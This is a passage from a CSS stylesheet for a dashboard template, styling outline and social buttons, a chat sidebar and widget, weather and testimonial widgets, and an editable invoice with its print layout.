#ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  background: #1eacbe;\n}\n.btn-outline-success:hover {\n  background: #26dad2;\n  border-color: #26dad2;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-outline-success:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  background: #1eacbe;\n}\n.btn-outline-success.focus {\n  background: #26dad2;\n  border-color: #26dad2;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n}\n.btn-outline-success.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(40, 190, 189, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(40, 190, 189, 0.2);\n  background: #1eacbe;\n}\n.btn-outline-info {\n  color: #1976d2;\n  background-color: transparent;\n  border-color: #1976d2;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(66, 165, 245, 0.14), 0 3px 1px -2px rgba(66, 165, 245, 0.2), 0 1px 5px 0 rgba(66, 165, 245, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-outline-info:focus {\n  background: #1976d2;\n  border-color: #1976d2;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  background: #028ee1;\n}\n.btn-outline-info:hover {\n  background: #1976d2;\n  border-color: #1976d2;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-outline-info:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  background: #028ee1;\n}\n.btn-outline-info.focus {\n  background: #1976d2;\n  border-color: #1976d2;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n}\n.btn-outline-info.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(23, 105, 255, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(23, 105, 255, 0.2);\n  background: #028ee1;\n}\n.btn-outline-warning {\n  color: #ffb22b;\n  background-color: transparent;\n  border-color: #ffb22b;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(248, 194, 0, 0.14), 0 3px 1px -2px rgba(248, 194, 0, 0.2), 0 1px 5px 0 rgba(248, 194, 0, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-outline-warning:focus {\n  background: #ffb22b;\n  border-color: #ffb22b;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  background: #e9ab2e;\n}\n.btn-outline-warning:hover {\n  background: #ffb22b;\n  border-color: #ffb22b;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-outline-warning:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  background: #e9ab2e;\n}\n.btn-outline-warning.focus {\n  background: #ffb22b;\n  border-color: #ffb22b;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n}\n.btn-outline-warning.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(248, 194, 0, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(248, 194, 0, 0.2);\n  background: #e9ab2e;\n}\n.btn-outline-danger {\n  color: #ef5350;\n  background-color: transparent;\n  border-color: #ef5350;\n  -webkit-box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12);\n  box-shadow: 0 2px 2px 0 rgba(239, 83, 80, 0.14), 0 3px 1px -2px rgba(239, 83, 80, 0.2), 0 1px 5px 0 rgba(239, 83, 80, 0.12);\n  -webkit-transition: 0.2s ease-in;\n  -o-transition: 0.2s ease-in;\n  transition: 0.2s ease-in;\n}\n.btn-outline-danger:focus {\n  background: #ef5350;\n  border-color: #ef5350;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background: #e6294b;\n}\n.btn-outline-danger:hover {\n  background: #ef5350;\n  border-color: #ef5350;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-outline-danger:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background: #e6294b;\n}\n.btn-outline-danger.focus {\n  background: #ef5350;\n  border-color: #ef5350;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-outline-danger.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background: #e6294b;\n}\n.btn-outline-red {\n  color: #fb3a3a;\n  background-color: transparent;\n  border-color: #fb3a3a;\n}\n.btn-outline-red:focus {\n  background: #fb3a3a;\n  border-color: #fb3a3a;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background: #e6294b;\n}\n.btn-outline-red:hover {\n  background: #fb3a3a;\n  border-color: #fb3a3a;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-outline-red:active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background: #e6294b;\n}\n.btn-outline-red.focus {\n  background: #fb3a3a;\n  border-color: #fb3a3a;\n  color: #ffffff;\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n}\n.btn-outline-red.active {\n  -webkit-box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  box-shadow: 0 14px 26px -12px rgba(239, 83, 80, 0.42), 0 4px 23px 0 rgba(0, 0, 0, 0.12), 0 8px 10px -5px rgba(239, 83, 80, 0.2);\n  background: #e6294b;\n}\n.btn-outline-inverse {\n  color: #2f3d4a;\n  background-color: transparent;\n  border-color: #2f3d4a;\n}\n.btn-outline-inverse:focus {\n  background: #2f3d4a;\n  border-color: #2f3d4a;\n  color: #ffffff;\n}\n.btn-outline-inverse:hover {\n  background: #2f3d4a;\n  border-color: #2f3d4a;\n  color: #ffffff;\n}\n.btn-outline-inverse.focus {\n  background: #2f3d4a;\n  border-color: #2f3d4a;\n  color: #ffffff;\n}\n.btn-primary.active.focus {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary.focus {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.btn-primary.focus:active {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.open > .dropdown-toggle.btn-primary.focus {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.open > .dropdown-toggle.btn-primary:focus {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.open > .dropdown-toggle.btn-primary:hover {\n  background-color: #6352ce;\n  border: 1px solid #6352ce;\n}\n.open > .dropdown-toggle.btn-success.focus {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.open > .dropdown-toggle.btn-success:focus {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.open > .dropdown-toggle.btn-success:hover {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.open > .dropdown-toggle.btn-info.focus {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.open > .dropdown-toggle.btn-info:focus {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.open > .dropdown-toggle.btn-info:hover {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.open > .dropdown-toggle.btn-warning.focus {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.open > .dropdown-toggle.btn-warning:focus {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.open > .dropdown-toggle.btn-warning:hover {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.open > .dropdown-toggle.btn-danger.focus {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.open > .dropdown-toggle.btn-danger:focus {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.open > .dropdown-toggle.btn-danger:hover {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.open > .dropdown-toggle.btn-inverse {\n  background-color: #232a37;\n  border: 1px solid #232a37;\n}\n.open > .dropdown-toggle.btn-red {\n  background-color: #d61f1f;\n  border: 1px solid #d61f1f;\n  color: #ffffff;\n}\n.btn-success.active.focus {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success.focus {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-success.focus:active {\n  background-color: #1eacbe;\n  border: 1px solid #1eacbe;\n}\n.btn-info.active.focus {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info.focus {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-info.focus:active {\n  background-color: #028ee1;\n  border: 1px solid #028ee1;\n}\n.btn-warning.active.focus {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning.focus {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-warning.focus:active {\n  background-color: #e9ab2e;\n  border: 1px solid #e9ab2e;\n}\n.btn-danger.active.focus {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger.focus {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-danger.focus:active {\n  background-color: #e6294b;\n  border: 1px solid #e6294b;\n}\n.btn-inverse.focus {\n  background-color: #232a37;\n  border: 1px solid #232a37;\n}\n.btn-red.focus {\n  background-color: #d61f1f;\n  border: 1px solid #d61f1f;\n  color: #ffffff;\n}\n.button-box .btn {\n  margin: 0 8px 8px 0;\n}\n.btn-label {\n  background: rgba(0, 0, 0, 0.05);\n  display: inline-block;\n  margin: -6px 12px -6px -14px;\n  padding: 7px 15px;\n}\n.btn-facebook {\n  color: #ffffff;\n  background-color: #3b5998;\n}\n.btn-twitter {\n  color: #ffffff;\n  background-color: #55acee;\n}\n.btn-linkedin {\n  color: #ffffff;\n  background-color: #007bb6;\n}\n.btn-dribbble {\n  color: #ffffff;\n  background-color: #ea4c89;\n}\n.btn-googleplus {\n  color: #ffffff;\n  background-color: #dd4b39;\n}\n.btn-instagram {\n  color: #ffffff;\n  background-color: #3f729b;\n}\n.btn-pinterest {\n  color: #ffffff;\n  background-color: #cb2027;\n}\n.btn-dropbox {\n  color: #ffffff;\n  background-color: #007ee5;\n}\n.btn-flickr {\n  color: #ffffff;\n  background-color: #ff0084;\n}\n.btn-tumblr {\n  color: #ffffff;\n  background-color: #32506d;\n}\n.btn-skype {\n  color: #ffffff;\n  background-color: #00aff0;\n}\n.btn-youtube {\n  color: #ffffff;\n  background-color: #bb0000;\n}\n.btn-github {\n  color: #ffffff;\n  background-color: #171515;\n}\n.map {\n  width: 100%;\n  height: 400px;\n}\n.chat-sidebar {\n  background-color: #eef5f9;\n  border-left: 1px solid #e7e7e7;\n  position: fixed;\n  right: -240px;\n  bottom: 0;\n  top: 55px;\n  width: 240px;\n  z-index: 2;\n  -webkit-transition: all 0.5s ease 0s;\n  transition: all 0.5s ease 0s;\n}\n.chat-sidebar .user-name {\n  font-family: 'Poppins', sans-serif;\n}\n.chat-sidebar .content {\n  font-family: 'Poppins', sans-serif;\n}\n.chat-sidebar .textarea {\n  font-family: 'Poppins', sans-serif;\n}\n.chat-sidebar .seen {\n  font-family: 'Poppins', sans-serif;\n}\n.chat-sidebar.is-active {\n  right: 0;\n}\n.chat-user-search .input-group-addon {\n  background: #ffffff;\n  border-radius: 0px;\n  border: 0px;\n}\n.chat-user-search .form-control {\n  border: 0px;\n}\n.hidden {\n  display: none;\n}\n/*    Home Chat Widget\n---------------------------------*/\n.chat-widget .chat_window {\n  position: relative;\n  width: 100%;\n  height: 500px;\n  border-radius: 10px;\n  background-color: #ffffff;\n  background-color: #f8f8f8;\n  overflow: hidden;\n}\n.chat-widget .messages {\n  position: relative;\n  list-style: none;\n  padding: 20px 10px 0 10px;\n  margin: 0;\n  min-height: 350px;\n  overflow: scroll;\n}\n.chat-widget .messages .message {\n  clear: both;\n  overflow: hidden;\n  margin-bottom: 20px;\n  transition: all 0.5s linear;\n  opacity: 0;\n}\n.chat-widget .messages .message .avatar {\n  width: 60px;\n  height: 60px;\n  border-radius: 50%;\n  display: inline-block;\n}\n.chat-widget .messages .message .text_wrapper {\n  display: inline-block;\n  padding: 20px;\n  border-radius: 6px;\n  width: calc(100% - 100px);\n  min-width: 100px;\n  position: relative;\n}\n.chat-widget .messages .message .text_wrapper .text {\n  font-size: 18px;\n  font-weight: 300;\n}\n.chat-widget .messages .message .text_wrapper::after {\n  top: 18px;\n  border: solid transparent;\n  content: \" \";\n  height: 0;\n  width: 0;\n  position: absolute;\n  pointer-events: none;\n  border-width: 13px;\n  margin-top: 0px;\n}\n.chat-widget .messages .message .text_wrapper:before {\n  top: 18px;\n  border: solid transparent;\n  content: \" \";\n  height: 0;\n  width: 0;\n  position: absolute;\n  pointer-events: none;\n}\n.chat-widget .messages .message .text_wrapper::before {\n  border-width: 15px;\n  margin-top: -2px;\n}\n.chat-widget .messages .message.left .text_wrapper::after,\n.chat-widget .messages .message.left .text_wrapper::before {\n  right: 100%;\n  border-right-color: #ffe6cb;\n}\n.chat-widget .messages .message.left .avatar {\n  background-color: #f5886e;\n  float: left;\n}\n.chat-widget .messages .message.left .text_wrapper {\n  background-color: #ffe6cb;\n  margin-left: 20px;\n}\n.chat-widget .messages .message.left .text {\n  color: #c48843;\n}\n.chat-widget .messages .message.right .text_wrapper::after,\n.chat-widget .messages .message.right .text_wrapper::before {\n  left: 100%;\n  border-left-color: #c7eafc;\n}\n.chat-widget .messages .message.right .avatar {\n  background-color: #fdbf68;\n  float: right;\n}\n.chat-widget .messages .message.right .text_wrapper {\n  background-color: #c7eafc;\n  margin-right: 20px;\n  float: right;\n}\n.chat-widget .messages .message.right .text {\n  color: #45829b;\n}\n.chat-widget .messages .message.appeared {\n  opacity: 1;\n}\n.chat-widget .bottom_wrapper {\n  position: relative;\n  position: absolute;\n  width: 100%;\n  background-color: #ffffff;\n  padding: 20px 20px;\n  bottom: 0;\n}\n.chat-widget .bottom_wrapper .message_input_wrapper {\n  display: inline-block;\n  height: 50px;\n  border-radius: 25px;\n  border: 1px solid #bcbdc0;\n  width: calc(100% - 160px);\n  position: relative;\n  padding: 0 20px;\n}\n.chat-widget .bottom_wrapper .message_input_wrapper .message_input {\n  border: none;\n  height: 100%;\n  box-sizing: border-box;\n  width: calc(100% - 45px);\n  position: absolute;\n  outline-width: 0;\n  color: gray;\n}\n.chat-widget .bottom_wrapper .send_message {\n  width: 140px;\n  height: 50px;\n  display: inline-block;\n  border-radius: 50px;\n  background-color: #a3d063;\n  border: 2px solid #a3d063;\n  color: #ffffff;\n  cursor: pointer;\n  transition: all 0.2s linear;\n  text-align: center;\n  float: right;\n}\n.chat-widget .bottom_wrapper .send_message .text {\n  font-size: 18px;\n  font-weight: 300;\n  display: inline-block;\n  line-height: 48px;\n}\n.chat-widget .bottom_wrapper .send_message:hover {\n  color: #a3d063;\n  background-color: #ffffff;\n}\n.chat-widget .message_template {\n  display: none;\n}\n.testimonial-widget-one .testimonial-content {\n  text-align: center;\n}\n.testimonial-widget-one .testimonial-text {\n  margin-bottom: 15px;\n}\n.testimonial-widget-one .testimonial-author-position {\n  font-family: 'Poppins', sans-serif;\n  position: relative;\n  top: -5px;\n  margin-top: 5px;\n  text-align: center;\n  font-size: 12px;\n}\n.testimonial-widget-one .testimonial-author {\n  padding-top: 15px;\n  position: relative;\n  top: -5px;\n  font-weight: 600;\n  color: #ffffff;\n  text-align: center;\n}\n.testimonial-widget-one .testimonial-author-img {\n  border-radius: 100px;\n  height: 50px !important;\n  width: 50px !important;\n  margin: 0 auto;\n}\n.weather-one i {\n  font-size: 100px;\n  position: relative;\n  top: 5px;\n  color: #ffffff;\n}\n.weather-one h2 {\n  display: inline-block;\n  float: right;\n  font-size: 48px;\n  color: #ffffff;\n}\n.weather-one .city {\n  position: relative;\n  text-align: right;\n  top: -25px;\n}\n.weather-one .currently {\n  font-size: 16px;\n  font-weight: 400;\n  position: relative;\n  top: 25px;\n}\n.weather-one .celcious {\n  text-align: right;\n  font-size: 20px;\n  color: #ffffff;\n}\n[contenteditable]:hover,\n[contenteditable]:focus {\n  background: #93b5ff;\n}\n.control-bar {\n  position: relative;\n  z-index: 100;\n  background: #4680ff;\n  color: #ffffff;\n  padding: 15px;\n  margin-bottom: 30px;\n}\n.control-bar .slogan {\n  font-weight: bold;\n  font-size: 1.2rem;\n  display: inline-block;\n  margin-right: 2rem;\n}\n.control-bar label {\n  margin: 0px;\n  color: #ffffff;\n}\n.control-bar a {\n  margin: 0;\n  padding: .5em 1em;\n  background: #ffffff;\n  color: #455a64;\n}\n.control-bar a:hover {\n  background: #93b5ff;\n}\n.control-bar input {\n  border: none;\n  background: #93b5ff;\n  max-width: 30px;\n  text-align: center;\n  color: #455a64;\n}\n.control-bar input:hover {\n  background: #93b5ff;\n}\n.hidetax .taxrelated {\n  display: none;\n}\n.showtax .notaxrelated {\n  display: none;\n}\n.hidedate .daterelated {\n  display: none;\n}\n.showdate .notdaterelated {\n  display: none;\n}\n.details input {\n  display: inline;\n  margin: 0 0 0 .5rem;\n  border: none;\n  width: 55px;\n  min-width: 0;\n  background: transparent;\n  text-align: left;\n}\n.invoice-edit .rate:before,\n.invoice-edit .price:before,\n.invoice-edit .sum:before,\n.invoice-edit .tax:before,\n.invoice-edit #total_price:before,\n.invoice-edit #total_tax:before {\n  content: '€';\n}\n.invoice-edit .me,\n.invoice-edit .info,\n.invoice-edit .bank,\n.invoice-edit .smallme,\n.invoice-edit .client,\n.invoice-edit .bill,\n.invoice-edit .details {\n  padding: 15px;\n}\n.invoice-logo img {\n  display: block;\n  vertical-align: top;\n  width: 50px;\n}\n/**\n * INVOICELIST BODY\n */\n.invoicelist-body {\n  margin: 1rem;\n}\n.invoicelist-body table {\n  width: 100%;\n}\n.invoicelist-body thead {\n  text-align: left;\n  border-bottom: 2pt solid #666;\n}\n.invoicelist-body td,\n.invoicelist-body th {\n  position: relative;\n  padding: 1rem;\n}\n.invoicelist-body tr:nth-child(even) {\n  background: #eef5f9;\n}\n.invoicelist-body tr:hover .removeRow {\n  display: block;\n}\n.invoicelist-body input {\n  display: inline;\n  margin: 0;\n  border: none;\n  width: 80%;\n  min-width: 0;\n  background: transparent;\n  text-align: left;\n}\n.invoicelist-body .control {\n  display: inline-block;\n  color: white;\n  background: #4680ff;\n  padding: 3px 7px;\n  font-size: .9rem;\n  text-transform: uppercase;\n  cursor: pointer;\n}\n.invoicelist-body .control:hover {\n  background: #6092ff;\n}\n.invoicelist-body .newRow {\n  margin: .5rem 0;\n  float: left;\n}\n.invoicelist-body .removeRow {\n  display: none;\n  position: absolute;\n  top: .1rem;\n  bottom: .1rem;\n  left: -1.3rem;\n  font-size: .7rem;\n  border-radius: 3px 0 0 3px;\n  padding: .5rem;\n}\n/**\n * INVOICE LIST FOOTER\n */\n.invoicelist-footer {\n  margin: 1rem;\n}\n.invoicelist-footer table {\n  float: right;\n  width: 25%;\n}\n.invoicelist-footer table td {\n  padding: 1rem 2rem 0 1rem;\n  text-align: right;\n}\n.invoicelist-footer table tr:nth-child(2) td {\n  padding-top: 0;\n}\n.invoicelist-footer table #total_price {\n  font-size: 2rem;\n  color: #4680ff;\n}\n/**\n * NOTE\n */\n.note {\n  margin: 75px 15px;\n}\n.hidenote .note {\n  display: none;\n}\n.note h2 {\n  margin: 0;\n  font-size: 12px;\n  font-weight: bold;\n}\n.note p {\n  font-size: 12px;\n  padding: 0px 5px;\n}\n/**\n * FOOTER\n */\nfooter {\n  display: block;\n  margin: 1rem 0;\n  padding: 1rem 0 0;\n}\nfooter p {\n  font-size: 12px;\n}\n/**\n * PRINT STYLE\n */\n@media print {\n  .header,\n  .sidebar,\n  .chat-sidebar,\n  .control,\n  .control-bar {\n    display: none !important;\n  }\n  [contenteditable]:hover,\n  [contenteditable]:focus {\n    outline: none;\n  }\n}\n#invoice {\n  position: relative;\n  /*  top: -290px;*/\n  margin-bottom: 120px;\n  /*  width: 700px;*/\n  background: #ffffff;\n  padding: 30px;\n}\n#invoice-table {\n  /* Targets all id with 'col-' */\n  border-bottom: 1px solid #e7e7e7;\n  padding: 30px 0px;\n}\n#invoice-top {\n  min-height: 120px;\n}\n#invoice-mid {\n  min-height: 120px;\n}\n#invoice-bot {\n  min-height: 250px;\n}\n.invoice-logo {\n  float: left;\n  height: 60px;\n  width: 60px;\n  background: url(http://michaeltruong.ca/images/logo1.png) no-repeat;\n  background-size: 60px 60px;\n}\n.clientlogo {\n  float: left;\n  height: 60px;\n  width: 60px;\n  background: url(http://michaeltruong.ca/images/client.jpg) no-repeat;\n  background-size: 60px 60px;\n  border-radius: 50px;\n}\n.invoice-info {\n  display: block;\n  float: left;\n  margin-left: 20px;\n}\n.invoice-info h2 {\n  color: #455a64;\n  font-size: 14px;\n}\n.invoice-info p {\n  font-size: 12px;\n}\n.title {\n  float: right;\n}\n.title h4 {\n  color: #455a64;\n  text-align: right;\n}\n.title p {\n  text-align: right;\n  font-size: 12px;\n}\n#project {\n  margin-left: 52%;\n}\n#project p {\n  font-size: 12px;\n}\n#invoice-table h2 {\n  font-size: 18px;\n}\n.tabletitle {\n  padding: 5px;\n  background: #e7e7e7;\n}\n.service {\n  border: 1px solid #e7e7e7;\n}\n.table-item {\n  width: 50%;\n}\n.itemtext {\n  font-size: .9em;\n}\n#legalcopy {\n  margin-top: 30px;\n}\n#legalcopy p {\n  font-size: 12px;\n}\n.effect2 {\n  position: relative;\n}\n.effect2:before,\n.effect2:after {\n  z-index: -1;\n  position: absolute;\n  content: \"\";\n  bottom: 15px;\n  left: 10px;\n  width: 50%;\n  top: 80%;\n  max-width: 300px;\n  background: #777;\n  